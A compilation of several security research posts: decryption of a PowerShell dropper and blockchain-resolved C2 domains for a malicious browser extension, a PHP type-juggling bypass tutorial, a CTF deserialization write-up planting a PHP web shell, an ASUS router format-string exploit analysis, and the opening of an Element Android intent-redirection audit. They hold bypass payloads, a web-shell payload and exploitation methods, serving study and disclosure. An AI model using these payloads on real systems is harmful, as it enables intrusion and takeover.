Now, this would return a base64-ish payload, but to fully decrypt this, you would have to follow the transformations done by the powershell script. A simple base64 decode won’t work, you can see some attempts of other researchers on any.runhere and here.
If we translate the powershell script to python, then we can process the saved response from urlscan easily.
import requests
import base64
# hxxps://ps1-local[.]com/obfs3ip2.bs64
res = requests.get('https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/')
s = res.text\
.replace('!', 'B')\
.replace('@', 'X')\
.replace('$', 'a')\
.replace('%', 'd')\
.replace('^', 'e')
ciphertext = base64.b64decode(s)
plaintext = bytes([b ^ 167 ^ 18 for b in ciphertext])
print(plaintext.decode())
This gives us a powershell script that drops the browser extension on disk and modifies the shortcuts to load the browser extension to chrome or opera.
I won’t do a deep dive on what the powershell script does because this has already been discussed in other blog posts:
Getting the browser extension is just a matter of parsing the files out of the dictionary in the powershell script.
Looking for new samples
The extension of .bs64 seemed quite unique to me and was something that I felt could be pivoted from to get more samples. With a free account in urlscan, I can search for scans of URLs ending with .bs64.
This was interesting for 2 reasons:
The domain root-head[.]com was recently registered so this was just recently set up.
I also wanted to see if there have been updates to the extension by the malware authors.
I used the decryption script shown in “Acquiring the first sample” on the payload from urlscan.
Here is the output.
Unfortunately, the decryption wasn’t completely successful. Because the plaintext is partially correct, this told me that the xor key was correct but the substitutions used in the encryption has changed.
This seemed like a small and fun cryptographic puzzle to tackle. As someone who has enjoyed doing crypto CTF challenges in the past, the idea of using cryptography “in real life” was exciting.
Cryptanalysis
Overview
Let’s formalize the problem a bit. The encryption code is something like this:
defencrypt(plaintext, xor, sub):
ciphertext = bytes([b ^ xor for b in plaintext.encode()])
s = base64.b64encode(ciphertext).decode()
for a, b in sub:
s = s.replace(a, b)
return s
And the example we had would have been encrypted using:
The initial bs64 payload we get may not be a valid base64 string. Because of the way the encryption was performed, we expect the ciphertext to probably have valid base64 characters missing and have some characters that are not valid base64 characters.
# hxxps://ps1-local[.]com/obfs3ip2.bs64
res = requests.get('https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/')
ciphertext = res.text
assert 'B' notin ciphertext
assert 'a' notin ciphertext
assert '!' in ciphertext
assert '$' in ciphertext
So first we detect what are the missing characters and what are the extra characters we have in the payload.
From here, we filter out all of the chunks of the base64 payload that contain any of the invalid characters !%@$^. This will allow us to decode part of the payload so we can perform the analysis we need for xor. This cleaned_b can now be used to retrieve the xor key.
clean_chunks = []
for idx in range(0, len(s), 4):
chunk = s[idx:idx+4]
if set(chunk) & set(_from):
continue
clean_chunks.append(chunk)
cleaned_s = ''.join(clean_chunks)
cleaned_b = b64decode(cleaned_s)
We can do this because base64 comes in chunks of 4 which represent 3 bytes in the decoded data. We can remove chunks of 4 characters in the encoded data and still decode the remaining data.
I’m not sure why the malware authors had multiple single byte xor to decrypt the payload, but cryptographically, this is just equivalent to a single xor byte encryption. This particular topic is really basic and is probably the first lesson you’d get in a cryptography class. If you want exercises on this you can try cryptopals or cryptohack.
The main idea here is that:
The search space is small, just 256 possible values for the xor key.
We can use some heuristic to find the correct key.
If you only have one payload to decrypt, you can just display all 256 plaintext and visually inspect and find the correct plaintext. However, we want an automated process. Since we expect that the output is another script, then the plaintext is expected to have mainly printable (and usually alphanumeric) characters.
# Assume we have xor and alphanumeric_count functions
xor_attempts = []
for x in tqdm(range(256)):
_b = xor(cleaned_b, x)
xor_attempts.append((x, alphanumeric_count(_b) - len(_b)))
xor_attempts.sort(key=lambda x: -x[-1])
potential_xor_key = xor_attempts[0][0]
Since this is just 5 characters, there are only 5! or 120 permutations. This is similar to xor where we can just go through the search space and find the permutation that results in the most number of printable or alphanumeric characters. We use itertools.permutations for this.
# potential_xor_key, _from, _to from the previous steps
# assume printable_count and alphanumeric_count exists
defxor(b, x):
return bytes([e ^ x for e in b])
defdecrypt(s, x, _from, _to):
mapping = {a: b for a, b in zip(_from, _to)}
s = ''.join([mapping.get(e, e) for e in s])
_b = b64decode(curr)
return xor(_b, x)
defb64decode(s):
# There were invalid payloads (just truncate)
if len(s.strip('=')) % 4 == 1:
s = s.strip('=')[:-1]
s = s + ((4 - len(s) % 4) % 4) * '='
return base64.b64decode(s)
attempts = []
for key in tqdm(permutations(_to)):
_b = decrypt(s, potential_xor_key, _from, key)
attempts.append(((key, potential_xor_key), printable_count(_b) - len(_b), alphanumeric_count(_b)))
attempts.sort(key=lambda x: (-x[-2],-x[-1]))
potential_decode_key, potential_xor_key = attempts[0][0]
And with that, we hope we have retrieved the keys needed to decrypt the payload.
Some notes on crypto
Using heuristics like printable count or alphanumeric count in the output works better for longer ciphertexts. If a ciphertext is too short, then it would be better to just brute force instead of getting the xor and substitution keys separately.
for xor_key in range(256):
for sub_key in permutations(_to):
_b = decrypt(s, xor_key, _from, sub_key)
attempts.append(((sub_key, xor_key), printable_count(_b) - len(_b), alphanumeric_count(_b)))
attempts.sort(key=lambda x: (-x[-2],-x[-1]))
potential_decode_key, potential_xor_key = attempts[0][0]
This will be slower since you’d have 30720 keys to test, but since we’re only doing this for shorter ciphertexts, then this isn’t too bad.
If you assume that the first few bytes of the plaintext would be Unicode BOM \xef\xbb\xbf, the the XOR key will be very easy to recover.
Processing new samples
To get new samples, we use the urlscan API to search for all pages with .bs64 and get all the unique payloads and process each one. This can be done with a free urlscan account.
The search is page.url: *.bs64. Here is a sample script to get you started with the URLSCAN API.
import requests
import jmespath
import defang
SEARCH_URL = "https://urlscan.io/api/v1/search/"
query = 'page.url: *.bs64'
result = requests.get(
SEARCH_URL,
headers=headers,
params = {
"q": query,
"size": 10000
}
)
data = []
res = result.json()
for e in tqdm(res['results']):
_result = requests.get(e['result'], headers=headers,).json()
hash = jmespath.search('data.requests[0].response.hash', _result)
data.append({
'url': defang(jmespath.search('page.url', e)),
'task_time': jmespath.search('task.time', e),
'hash': hash,
'size': jmespath.search('stats.dataLength', e)
})
# Free urlscan is 120 results per minute
time.sleep(1)
At the time of writing, there were a total of 220 search results in urlscan, and a total of 26 unique payloads that we processed. These payloads were generated between 2023-03-06 and 2024-09-01.
Deobfuscating scripts
The original js files are obfuscated. You can use sites such as https://obf-io.deobfuscate.io/ to do this manually. I used the obfuscator-io-deobfuscator npm package to do the deobfuscation.
Fingerprinting extensions and analyzing
I’m not really familiar with analyzing chrome extensions so analysis of the extensions won’t be deep, but the technical deep dives I’ve linked previously are very good.
What I focused on is if there are changes with the functionality of the extension over time. Simple hashing won’t help in this case because even the deobfuscated js code has variable names randomized.
The approach I ended up taking was looking at the exported functions of each js since these are in plaintext and doesn’t seem to be randomized (unlike local variables).
For example, grep -nri "export const" . returns:
Findings for this is that the following functions were added over time:
We can see that over time, they added fallback APIs to resolve the C2 domains. In the earliest versions of the extension we see only one method to resolve the domain.
In the most recent extension, we have 8 functions: GetAddresses_Blockstream, GetAddresses_Blockcypher, GetAddresses_Bitcoinexplorer, GetAddresses_Btcme, GetAddresses_Mempool, GetAddresses_Btcscan, GetAddresses_Bitcore, GetAddresses_Blockchaininfo.
Trustwave’s blog post mentioned that there was capabilities to use a telegram channel to exfiltrate data. In the extensions I have looked at, I see botToken and chatId in the config.js but I have not seen any code that actually uses this.
Resolving C2 domains from blockchain
The domains used for C2 are resolved from transactions in the blockchain. This is similar to more EtherHiding but here, rather than using smart contracts, they use the destination address to encode the domain. I just translated one of the many functions in the extension to resolve the script and used base58 to decrypt the domain.
blockstream = requests.get(f"https://blockstream.info/api/address/{address}/txs")\
.json()
for e in jmespath.search('[].vout[].scriptpubkey_address', blockstream):
try:
domain = base58.b58decode(e)[1:21]
ifnot domain.endswith(b'\x00'):
continue
domain = domain.strip(b'\x00').decode()
print(domain)
except Exception as e:
pass
Among these domains, only 4 of them seem to be active. If we hit the /api/machine/injections endpoint, the server responds to the request. The following looks to be active:
And only true-lie[.]com is flagged as malicious by VT. The other domains aren’t flagged as malicious by VT, even domains like catin-box[.]com which is a pretty old domain.
Conclusion
It’s obvious that this approach will stop working if the encryption algorithm is changed by the authors of the malware (or even simpler, the attacker can just not suffix the dropper powershell script with .bs64). However, given that we have found samples that span a year, shows that the usage of some of techniques persist for quite some time.
If you are a student, or an aspiring security professional, I hope this demonstrates that there can be legitimate research or learnings just from using free tools and published information to study malware that has active infrastructure. Although if you are just starting out with security, I advise you to be cautious when handling the bad stuff.
IOCs
I’ve grouped IOCs based on what address it uses to resolve the C2 domains. There are some domains that repeat like root-head[.]com, root[.]com, and opensun[.]monster which means that the domain served versions of the malicious browser extension with different addresses.
Today, I want to discuss about a vulnerability that is rarely talked and often stays under the hood, yet represents a significant security issue once it’s found – ‘Type Juggling’ Vulnerability:
For a web application to function correctly, it needs to perform various comparison and calculation checks on the backend. These include authorizing users based on their relevant privileges, managing a password reset mechanism for users who have forgotten their passwords, validating sessions to authenticate users, and such on.
All the examples mentioned above require the use of comparison statements to achieve their functionality properly. Attackers who understand this potential may attempt to bypass these mechanisms to lead to unexpected results.
TL;DR
Programming languages like PHP support ‘loose comparison’ operators (==, !=) that interpret equality differently in if statements. This can lead to security bypass issues and present risks to the entire application.
Make sure to check and compare both the value and their type to ensure the comparison is based on strict (===, !==) comparison.
Note: In PHP versions newer than PHP 5, this issue has been resolved.
What ‘Loose Comparison’ is all about?
In languages like PHP, JavaScript, and Ruby, comparison operations are based on the values of variables rather than their types, which is known as ‘loose’ comparison.
This approach can lead to issues in certain cases, unlike ‘strict’ comparison where both value and type must be matched.
PHP Comparision Table:
To illustrate the differences between loose and strict comparison types, PHP.net1 presents various use cases scenarios that highlight the importance of using the correct comparison operator to get the right outcomes:
Loose comparisons table
Versus:
Strict comparisons table
Some unexpected examples which yields True in loose comparison, whereas it yields False in strict comparison:
In ‘Type-Juggling’, strings that start with “0e” followed by digits (like “0e13466324543662017” or “0e5932847”) are considered equal to zero (0) in ‘loose comparison’.
This case study can play a significant role when we want to bypass comparison checks if we have control over the parameters in the equation.
MD5 Attack Scenario:
Let’s take a look at a code snippet responsible for validating the authenticated user’s cookie to grant them the appropriate privileges on the web application:
From the attacker’s perspective, we can see that the function receives the cookie from the user’s side, which consists of three parts:
Username cookie
Token cookie
Date Expiration cookie
We have control over the username and expiration cookie values, while the token is pulled from the database. We do not know its value because we do not own the ‘Admin’ account.
On line 14, we can see the ‘loose comparison’ operator (==), which hints at a Type-Juggling vulnerability. Let’s find a way to exploit this check to impersonate the ‘Admin’ account.
So, if we follow the rule that “0e[0-9]{10}” == “0” (pay attention to the substr in the snippet code – we need only 10 first digits match), we can make our equation evaluate to TRUE and be authenticated.
Let’s examine the following flow:
If we set “0” as the value for $cookie_token cookie and control $final_token to return a string in the format of “0e..”, we’ll be successful. But how do we get $final_token to be starting with “0e” when we only control $cookie_expiration?
The answer: Brute force technique!
The attack will require brute-forcing $cookie_expiration values until the final $final_token value begins with “0e” followed by only digits. Since we do not know the $user_token value at this point, an ‘Online Brute Force’ attack is necessary here.
I’ve developed a short Python PoC code to demonstrate that:
The final HTTP request payload will look like this: cookie: username=admin; token=0; expiration=1858339652;
Take into consideration that the expiration value will be different for each user depending on his $user_token value.
NULL == 0 – Oh no, Strikes Again??
Let’s take another example, but this time we’ll focus on the ‘strcmp’ function, which compares two different strings to find a match between them:
As you can see, the function ‘login’ is receiving the user and pass arguments from the client side. It then pulls the password for the account directly from the database and compares the pulled password to the provided one using the ‘strcmp’ PHP built-in function.
So, in order to bypass this check, we need to figure out the correct password for the ‘admin’ account that we want to impersonate.
Meanwhile, on PHP.net…
While looking at the ‘strcmp’ documentation on PHP.net, we noticed some user comments warning against using this function due to its potential for ‘extremely unpredictable’ behavior caused by string comparison mismatches in certain circumstances:
What we can understand from this comment is that strcmp(NULL, “Whatever_We_Put_In”) will always return ZERO, which leads to a successful string matching and will pass the check!! 😈
So, if we able to find a way to pass a NULL value instead of the secret password, we won.
Based on the PHP.net user comments above, we can infer the following flow: strcmp(“foo”, array()) => NULL <=> NULL == 0
That is ‘Type-Juggling’ attack, requires some creativity, yet it can result in devastating impact!
Conclusion
This article aims to present high risk vulnerability that we can sometimes find in the wild once we have access to the application’s source code, and may potentially risking the entire application.
This vulnerability is not new, but not many people have heard about it, and discovering it can be a game-changer for the attacker.
For additional information and materials, I highly recommend referring to ‘PayloadsAllTheThings / Type Juggling’ 2 resource.
Thanks for reading!
Disclaimer: This material is for informational purposes only, and should not be construed as legal advice or opinion. For actual legal advice, you should consult with professional legal services.
Let’s discuss today on what Deserialization is and give a demonstration example, as it can sometimes can lead to Remote Code Execution (RCE), Privilege Escalation and additional weaknesses with severe impacts on the entire application.
This time, I was digging deep inside the Internet and discovered a cool Deseralization challenge from ‘Plaid CTF 2014’ called ‘the kPOP challenge’ which will help us better understand this vulnerability in this blog post.
Note: This challenge can be solved using two different approaches to achieve the same outcome. In this post, we chose to present one of them.
The CTF source code files can be downloaded directly from plaidctf2014 Github repo.
Let’s get started –
Applications, in general, often rely on handling serialized data to function correctly. It’s crucial to examine how this data is deserialized to ensure it’s done safely. As attackers or researchers, we focus on instances where data is deserialized without proper validation or where serialized input is directly trusted. These deserialization opportunities, known as sinks can occur in a specific functions like unserialize() and serialize() that depend on user-provided input.
Once we understand what we’re looking for, let’s take a closer look at the application’s source code:
The first step is to identify the PHP classes used within the application and examine their relationships and interactions. This can be easily done by using the CTRL+SHIFT+F shortcut in Visual Studio Code:
In order to better understand the relationships between kPOP classes in a more visual way, we can create a UML diagram based on the above class properties using PlantUML Editor1. This diagram represents the system’s structure and design, illustrating the various classes and their relationships, including inheritance, associations, and dependencies:
kPOP UML Diagram
Once we have a basic understanding of the class relations, let’s focus on the relevant sinks that handle serialization based on user-supplied input. Using the same method in VSCode, let’s search for all occurrences of the unserialize function in the code:
The search results reveal three different occurrences, spread across two files:
classes.php
import.php
We can see that some occurrences of serialize depend on SQL return results (e.g., $row[0]), which are not influenced by user input. However, the other instances appear to be more promising for us.
We will focus on the import.php file:
Which appears like this in the browser UI:
http://127.0.0.1/kPOP/import.php
Class objects are immediately get deserialized once an unserialize call is triggered. We can exploit line 5 in the image above to inject our malicious class object, which will be demonstrated later in this article.
At this stage, we have an injection entry point that depends on the provided $_POST['data'] parameter and get serialized. Let’s now take a closer look at the class declarations themselves.
When examining the code, the function that immediately caught my eye on is file_put_contents within the writeLog function, located in the LogWriter_File class inside classes.php file:
LogWriter_File declaration
To better understand its usage, I referred to the PHP.net documentation page:
PHP.net Manual
This function can be our first primitive for finding a way to write a malicious file on the web server’s filesystem, which could serve as a web shell backdoor for executing shell commands!
So, if we can control the filename written to disk (e.g., cmd.php) and its contents, we can write PHP code such as system() function to execute any command that we want.
We need to keep this in mind as we piece together the relationships between all the other classes, much like solving a puzzle, to successfully navigate this path and create our final malicious class object 😈
To put it in a nutshell, when a class object is injected, it begins executing what are called Magic Methods. These methods follow a naming convention with double leading and trailing underscores, such as __construct() or __destruct(). We need to analyze these methods to identify which classes implement them, as they will trigger our object to execute.
Let’s continue on. In order to control the written filename, we need to identify which class holds this filename as a variable and gain control over it in our class object. This is illustrated in the following image:
Song class contains LogWriter_File object instance
LogWriter_File is the relevant class. In the class declaration, we can see that the $filename variable is set to our desired file name within the LogWriter_File constructor (refer to the ‘LogWriter_File Declaration’ picture).
In the same image, we can also see that the content of the file is stored in the $txt parameter within the writeLog function of the LogWriter_File class. The $txt content is controlled by executing the log() function within the Song class, which consists of a concatenation of the name and group properties of the Song class.
To control both the filename and content of the file using the file_put_contents function, we need to follow the class calling orders and determine where and by whom the writeLog function is invoked.
Let’s illustrate this in the following picture:
Classes calling order
We can see that the Song class is the one that initiates the entire class calling sequence to our desired file_put_contents function.
To summarize what we’ve covered so far:
We need to exploit the file_put_contents functionality to write a webshell.
We need to initialize the $filename variable under the LogWriter_File class with a value of cmd.php.
We need to insert our malicious PHP code as a content to the cmd.php file triggered by the writeLog function.
Finally, we need to invoke the correct sequence order of classes in our final payload, as shown above.
Let’s put all the pieces together to create the payload as a one big serialized object:
Take note of the line s:11:"*filename";s:7:"cmd.php"; which represents our malicious filename with a .php extension, and the line s:7:"*name";s:35:"<?php system('ls -l; cat flag'); ?>"; which represents our PHP system() function to execute shell commands.
The final serialized payload to be injected as a HTTP POST parameter in base64 format wil follow:
We can use the Online PHP Unserializer2 to visualize the encoded payload in a Class Object hierarchy:
PHP Class Object representation
And finally, gentlemen, music please — it’s time to execute our malicious serialized payload on the import.php page!
The cmd.php file was created, revealing the challenge flag and the execution of our ls -l command!
Conclusion
In this article, we presented a deserialization challenge that highlights how it can be exploited by malicious hackers to take over an entire application.
Those attacks have quite high entry barrier and require strong programming and research skills, making them as one of the most difficult vulnerabilities to identify in web applications. However, they have the most impactful severities once discovered.
Hope you’ve learned something new to add to your arsenal of vulnerabilities to look for during Code Review engagements.
Thanks for reading!
Disclaimer: This material is for informational purposes only, and should not be construed as legal advice or opinion. For actual legal advice, you should consult with professional legal services.
After reading online the details of a few published critical CVEs affecting ASUS routers, we decided to analyze the vulnerable firmware and possibly write an n-day exploit. While we identified the vulnerable piece of code and successfully wrote an exploit to gain RCE, we also discovered that in real-world devices, the “Unauthenticated Remote” property of the reported vulnerability doesn’t hold true, depending on the current configuration of the device.
Intro
Last year was a great year for IoT and router security. A lot of devices got pwned and a lot of CVEs were released. Since @suidpit and I love doing research by reversing IoT stuff, and most of those CVEs didn’t have much public details or Proof-of-Concepts yet, we got the chance to apply the CVE North Stars approach by clearbluejar.
In particular, we selected the following CVEs affecting various Asus SOHO routers:
The claims in the CVEs descriptions were pretty bold, but we recalled some CVEs published months before on the same devices (eg. CVE-2023-35086) that described other format string in the same exact scenario:
“An unauthenticated remote attacker can exploit this vulnerability without privilege to perform remote arbitrary code execution”
Take careful note of those claims cause they will be the base of all our assumptions from now on!
From the details of the CVEs we can already infer some interesting information, such as the affected devices and versions. The following firmware versions contain patches for each device:
Asus RT-AX55: 3.0.0.4.386_51948 or later
Asus RT-AX56U_V2: 3.0.0.4.386_51948 or later
Asus RT-AC86U: 3.0.0.4.386_51915 or later
Also, we can learn that the vulnerability is supposedly a format string, and that the affected modules are set_iperf3_cli.cgi, set_iperf3_srv.cgi, and apply.cgi.
Since we didn’t have any experience with Asus devices, we started by downloading the vulnerable and fixed firmware versions from the vendor’s website.
Patch Diffing with BinDiff
Once we got hold of the firmware, we proceeded by extracting them using Unblob.
By doing a quick find/ripgrep search we figured out that the affected modules are not CGI files as one would expect, but they are compiled functions handled inside the /usr/sbin/httpd binary.
We then loaded the new and the old httpd binary inside of Ghidra, analyzed them and exported the relevant information with BinDiff’s BinExport to perform a patch diff.
A patch diff compares a vulnerable version of a binary with a patched one. The intent is to highlight the changes, helping to discover new, missing, and interesting functionality across various versions of a binary.
Patch diffing the httpd binary highlights some changes, but none turned out to be interesting to our purpose. In particular, if we take a look at the handlers of the vulnerable CGI modules, we can see that they were not changed at all.
Interestingly, all of them shared a common pattern. The input of the notify_rc function was not fixed and was instead coming from the user-controlled JSON request. :money_with_wings:
The notify_rc function is defined in /usr/lib/libshared.so: this explains why diffing the httpd binary was ineffective.
Diffing libshared.so resulted in a nice discovery: in the first few lines of the notify_rc function, a call to a new function named validate_rc_service was added. At this point we were pretty much confident that this function was the one responsible to patch the format string vulnerability.
The validate_rc_service function performs a syntax check on the rc_service JSON field. The Ghidra decompiled code is not trivial to read: basically, the function returns 1 if the rc_service string contains only alphanumeric, whitespace, or the _ and ; characters, while returns 0 otherwise.
Apparently, in our vulnerable firmware, we can exploit the format string vulnerability by controlling what ends up inside the rc_service field. We didn’t have a device to confirm this yet, but we didn’t want to spend time and money in case this was a dead-end. Let’s emulate!
Enter the Dragon, Emulating with Qiling
If you know us, we bet you know that we love Qiling, so our first thought was “What if we try to emulate the firmware with Qiling and reproduce the vulnerability there?”.
Starting from a Qiling skeleton project, sadly httpd crashes and reports various errors.
In particular, the Asus devices use an NVRAM peripheral to store many configurations. The folks at firmadyne developed a library to emulate this behavior, but we couldn’t make it work so we decided to re-implement it inside of our Qiling script.
The script creates a structure in the heap and then hijacks all the functions used by httpd to read/write the NVRAM redirecting the to the heap structure.
After that we only had to fix some minor syscalls’ implementation and hooks, and voilà! We could load the emulated router web interface from our browsers.
In the meantime we reversed the do_set_iperf3_srv_cgi/do_set_iperf3_cli_cgi functions to understand what kind of input should we send along the format string.
Turns out the following JSON is all you need to exploit the set_iperf3_srv.cgi endpoint:
And we were welcomed with this output in the Qiling console:
At this point, the format string vulnerability was confirmed, and we knew how to trigger it via firmware emulation with Qiling. Moreover, we knew that the fix introduced a call to validate_rc_message in the notify_rc function exported by the libshared.so shared library. With the goal of writing a working n-day for a real device, we purchased one of the target devices (Asus RT-AX55), and started analyzing the vulnerability to understand the root cause and how to control it.
Root Cause Analysis
Since the fix was added to the notify_rc function, we started by reverse engineering the assembly of that function in the old, vulnerable version. Here follows a snippet of pseudocode from that function:
The function seems responsible for logging messages coming from various places through a single, centralized output sink.
The logmessage_normal function is part of the same library and its code is quite simple to reverse engineer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
void logmessage_normal(char *logname, char *fmt, ...) { char buf [512]; va_list args; va_start(args, fmt); vsnprintf(buf,0x200,fmt_string,args); openlog(logname,0,0); syslog(0,buf); // buf can be controlled by the user! closelog(); va_end(args); return; }
While Ghidra seems unable to recognize ✨automagically✨ the variable arguments list, the function is a wrapper around syslog, and it takes care of opening the chosen log, sending the message and finally closing it.
The vulnerability lies in this function, precisely in the usage of the syslog function with a string that can be controller by the attacker. To understand why, let us inspect the signature of it from the libc manual:
According to its signature, syslog expects a list of arguments that resembles those of the *printf family. A quick search shows that, in fact, the function is a known sink for format string vulnerabilities.
Exploitation – Living Off The Land Process
Format string vulnerabilities are quite useful for attackers, and they usually provide arbitrary read/write primitives. In this scenario, since the output is logged to a system log that is only visible to administrators, we assume an unauthenticated remote attacker should not be able to read the log, thus losing the “read” primitive of the exploit.
ASLR is enabled on the router’s OS, and the mitigation implemented at compile-time for the binary are printed below:
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
According to this scenario, a typical way of developing an exploit would consist in finding a good target for a GOT Overwrite, trying to find a function that accepts input controlled by the user and hijacking it to system.
Nevertheless, in pure Living Off The Land fashion, we spent some time looking for another approach that wouldn’t corrupt the process internals and would instead leverage the logic already implemented in the binary to obtain something good (namely, a shell).
One of the first things to look for in the binary was a place where the system function was called, hoping to find good injection points to direct our powerful write primitive.
Among the multiple results of this search, one snippet of code looked worth more investigation:
Let’s briefly comment this code to understand the important points:
SystemCmd is a global variable which holds a string.
sys_script, when invoked with the syscmd.s argument, will pass whatever command is present in SystemCmd to the system function, and then it will zero out the global variable again.
This seems a good target for the exploit, provided we can, as attackers:
Overwrite the SystemCmd content.
Trigger the sys_script("syscmd.sh") function.
Point 1 is granted by the format string vulnerability: since the binary is not position-independent, the address of the SystemCmd global variable is hardcoded in the binary, so we do not need leaks to write to it. In our vulnerable firmware, the offset for the SystemCmd global var is 0x0f3ecc.
Regarding point 2, some endpoints in the web UI are used to legitimately execute commands through the sys_script function. Those endpoints will call the following function named ej_dump whenever a GET request is performed:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
int ej_dump(int eid,FILE *wp,int argc,char **argv) { // ... ret = ejArgs(argc,argv,"%s %s",&file,&script); if (ret < 2) { fputs("Insufficient args\n",wp); return -1; } ret = strcmp(script,"syscmd.sh"); if (ret == 0) { sys_script(script); } // ... }
So once the SystemCmd global variable is overwritten, simply visiting Main_Analysis_Content.asp or Main_Netstat_Content.asp will trigger our exploit.
A Shell for Your Thoughts
We will spare you a format string exploitation 101, just remember that with %n you can write the number of characters written so far at the address pointed by its offset.
It turned out we had a few constraints, some of them typical of format string exploits, while others specific to our scenario.
The first problem is that the payload must be sent inside a JSON object, so we need to avoid “breaking” the JSON body, otherwise the parser will raise an error. Luckily, we can use a combination of raw bytes inserted into the body (accepted by the parser), double-encoding (%25 instead of % to inject the format specifiers) and UTF-encode the nullbyte terminating the address (\u0000).
The second one is that, after being decoded, our payload is stored in a C string so null-bytes will terminate it early. This means we can only have one null-byte and it must be at the end of our format string.
The third one is that there is a limit on the length of the format string. We can overcome this by writing few bytes at a time with the %hn format.
The fourth one (yes, more problems) is that in the format string there is a variable number of characters before our input, so this will mess with the number of characters that %hn will count and subsequently write at our target address. This is because the logmessage_normal function is called with the process name (either httpd or httpsd) and the pid (from 1 to 5 characters) as arguments.
Finally, we had our payload ready, everything was polished out perfectly, time to perform the exploit and gain a shell on our device…
Wait, WAT???
To Be or Not To Be Authenticated
Sending our payload without any cookie results into a redirect to the login page!
At this point we were completely in shock. The CVEs report “an unauthenticated remote attacker” and our exploit against the Qiling emulator was working fine without any authentication. What went wrong?
While emulating with Qiling before purchasing the real device, we downloaded a dump of the NVRAM state from the internet. If the httpd process loaded keys that were not present in the dump, we automatically set them to empty strings and some were manually adjusted in case of explicit crash/Segfault.
It turns out that an important key named x_Setting determines if the router is configured or not. Based on this, access to most of the CGI endpoints is enabled or disabled. The NVRAM state we used in Qiling contained the x_Setting key set to 0, while our real world device (regularly configured) had it set to 1.
But wait, there is more!
We researched on the previously reported format string CVEs affecting the other endpoints, to test them against our setup. We found exploits online setting the Referer and Origin headers to the target host, while others work by sending plain GET requests instead of POST ones with a JSON body. Finally, to reproduce as accurately as possible their setup we even emulated other devices’ firmware (eg. the Asus RT-AX86U one).
None of them worked against an environment that had x_Setting=1 in the NVRAM.
And you know what? If the router is not configured, the WAN interface is not exposed remotely, making it unaccessible for attackers.
Conclusions
This research left a bitter taste in our mouths.
At this point the chances are:
There is an extra authentication bypass vulnerability that is still not fixed 👀 and thus it does not appear in the diffs.
The “unauthenticated remote attacker” mentioned in the CVEs refer to a CSRF-like scenario.
All the previous researchers found the vulnerabilities by emulating the firmware without taking in consideration the NVRAM content.
Anyway, we are publishing our PoC exploit code and the Qiling emulator script in our poc repository on GitHub.
During a security audit of Element Android, the official Matrix client for Android, we have identified two vulnerabilities in how specially forged intents generated from other apps are handled by the application. As an impact, a malicious application would be able to significatively break the security of the application, with possible impacts ranging from exfiltrating sensitive files via arbitrary chats to fully taking over victims’ accounts. After private disclosure of the details, the vulnerabilities have been promptly accepted and fixed by the Element Android team.
Intro
Matrix is, altogether, a protocol, a manifesto, and an ecosystem focused on empowering decentralized and secure communications. In the spirit of decentralization, its ecosystem supports a great number of clients, providers, servers, and bridges. In particular, we decided to spend some time poking at the featured mobile client applications – specifically, the Element Android application (https://play.google.com/store/apps/details?id=im.vector.app). This led to the discovery of two vulnerabilities in the application.
The goal of this blogpost is to share more details on how security researchers and developers can spot and prevent this kind of vulnerabilities, how they work, and what harm an attacker might cause in target devices when discovering them.
For these tests, we have used Android Studio mainly with two purposes:
Conveniently inspect, edit, and debug the Element application on a target device.
Develop the malicious application.
The analysis has been performed on a Pixel 4a device, running Android 13.
The code of the latest vulnerable version of Element which we used to reproduce the findings can be fetched by running the following command:
Without further ado, let us jump to the analysis of the application.
It Starts From The Manifest 🪧
When auditing Android mobile applications, a great place to start the journey is the AndroidManifest.xml file. Among the other things, this file contains a great wealth of details regarding the app components: things like activities, services, broadcast receivers, and content providers are all declared and detailed here. From an attacker’s perspective, this information provides a fantastic overview over what are, essentially, all the ways the target application communicates with the device ecosystem (e.g. other applications), also known as entrypoints.
While there are many security-focused tools that can do the heavy lifting by parsing the manifest and properly output these entrypoints, let’s keep things simple for the sake of this blogpost, by employing simple CLI utilities to find things. Therefore, we can start by running the following in the cloned project root:
grep -r "exported=\"true\"" .
The command above searches and prints all the instances of exported="true" in the application’s source code. The purpose of this search is to uncover definitions of all the exported components in the application, which are components that other applications can launch. As an example, let’s inspect the following activity declaration in Element (file is: vector-app/src/main/AndroidManifest.xml):
Basically, this declaration yields the following information:
.features.Alias is an alias for the application’s MainActivity.
The activity declared is exported, so other applications can launch it.
The activity will accept Intents with the android.intent.action.MAIN action and the android.intent.category.LAUNCHER category.
This is a fairly common pattern in Android applications. In fact, the MainActivity is typically exported, since the default launcher should be able to start the applications through their MainActivity when the user taps on their icon.
We can immediately validate this by running and ADB shell on the target device and try to launch the application from the command line:
am start im.vector.app.debug/im.vector.application.features.Alias
As expected, this launches the application to its main activity.
The role of intents, in the Android ecosystem, is central. An intent is basically a data structure that embodies the full description of an operation, the data passed to that operation, and it is the main entity passed along between applications when launching or interacting with other components in the same application or in other applications installed on the device.
Therefore, when auditing an activity that is exported, it is always critical to assess how intents passed to the activity are parsed and processed. That counts for the MainActivity we are auditing, too. The focus of the audit, therefore, shifts to java/im/vector/app/features/MainActivity.kt, which contains the code of the MainActivity.
In Kotlin, each activity holds an attribute, namely intent, that points to the intent that started the activity. So, by searching for all the instances of intent. in the activity source, we obtain a clear view of the lines where the intent is somehow accessed. Each audit, naturally, comes with a good amount of rabbit holes, so for the sake of simplicity and brevity let’s directly jump to the culprit:
private fun handleAppStarted() { //... if (intent.hasExtra(EXTRA_NEXT_INTENT)) { // Start the next Activity startSyncing() val nextIntent = intent.getParcelableExtraCompat<Intent>(EXTRA_NEXT_INTENT) startIntentAndFinish(nextIntent) } //... } //... private fun startIntentAndFinish(intent: Intent?) { intent?.let { startActivity(it) } finish() }
Dissecting the piece of code above, the flow of the intent can be described as follows:
The activity checks whether the intent comes with an extra named EXTRA_NEXT_INTENT, which type is itself an intent.
If the extra exists, it will be parsed and used to start a new activity.
What this means, in other words, is that MainActivity here acts as an intent proxy: when launched with a certain “nested” intent attached, MainActivity will launch the activity associated with that intent. While apparently harmless, this intent-based design pattern hides a serious security vulnerability, known as Intent Redirection.
Let’s explain, in a nutshell, what is the security issue introduced by the design pattern found above.
An Intent To Rule Them All 💍
